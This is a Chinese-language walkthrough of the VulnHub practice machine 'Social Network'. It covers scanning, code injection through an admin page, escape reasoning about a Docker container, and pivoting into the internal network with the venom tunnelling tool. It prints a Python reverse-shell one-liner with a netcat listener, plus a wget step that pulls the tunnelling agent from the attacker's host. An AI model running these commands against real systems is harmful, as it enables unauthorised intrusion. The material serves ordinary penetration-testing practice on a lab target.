本文对应靶机地址:
BoredHackerBlog: Social Network ~ VulnHub
涉及知识点:
- 主机发现
- 端口扫描
- 服务发现
- 路径爬取
- 代码注入
- Shell脚本
- 内网信息收集
- 内网穿透
- 漏洞利用
- 密码破解
- 本地提权
- 攻击代码修改
将靶机导入虚拟机中,桥接模式,直接开测(本次练习涉及目标机以及攻击机,目标机为乌班图,攻击机为kali)
启动kali后对同网段主机进行扫描
猜测1.9为目标机,扫描其开放端口
常见有22、443、8080、8083、3306
发现目标确为vb上开的靶机,并开放22、5000端口,5000比较不常见,扫描一下用途
得知目标为ubuntu系统,5000端口基于python服务,访问看看。
简陋的一批,dirsearch扫一下看看
路径中存在admin
访问后发现是一个执行代码的页面,已知目标基于python服务,找个反弹shell的脚本,在攻击机上开启监听
把里面的IP改一下
例如我的就是:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.11",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);
有可能不弹,换shell,换命令多试几次
同时在攻击机上开启监听(我这里已经提交一次了)
nc -lvp 5555
拿到root权限
但是
有点诡异,官网中阐明,这是一个中等难度的靶机。那怎么可能一个洞就能拿到。
啧,有点后背发凉。
ls看一下,发现问题了。
发现一个叫Dockerfile的文件,这文件是用来干啥的呢?
这说明啥。
说明透进来的不过是一个隔离容器。
咋看出来的?查看路径中的文件,如果存在.dockerenv,那么99.9%说明透进来的是一个容器。
但就算是一个隔离容器,也相当于我们拥有了一台内网的机器。
ip a查看一下内网中的主机
下面进行内网的主机发现
即使用ping命令,对网段内每一个地址ping一下,观察回显
即
- ping 172.17.0.1
- ping 172.17.0.2
- ping 172.17.0.3
- ping 172.17.0.4
- .........
但是由于该网段的子网掩码为16位,所以理论上存在65535个IP,由此,手动ping肯定不行。
那写个循环试试
简单看前10个IP,只有1、2、3的丢包率为0,所以先对它们进行扫描
接下来,对扫描出来的IP地址进行端口扫描。但是如果我们想用kali上的工具进行扫描多少会产生点问题。
原因在于kali无法进入内网
所以,接下来计划内网穿透,打通kali攻击机到目标路由间的隧道。
使用venom。文件给各位存完了
https://h-z.lanzoum.com/idh5p13kcxlg
密码:9bof
为了方便后续传到被攻击机上,将linux_x64重命名成a,开启venom的监听
那接下来要做啥呢,把a传到被攻击机上。
进入venom,用python3开一个80 http服务
python3 -m http.server 80
进入被攻击机通过wget http://192.168.1.11/a下载a到被攻击机上
通过
chmod +x a
赋予其权限
通过
进行连接。
kali这边也接到成功的通知了,show看看,发现有个节点,goto一下,开一个socks侦听
进另一个窗口,为了让kali上的所有工具可以通过代理访问内网网段每个IP,需要使用proxychains4。
执行sudo vi /etc/proxychains4.conf
光标划到最下方改配置
改完之后kali上的工具就可以访问到内网的IP了,用nmap扫一下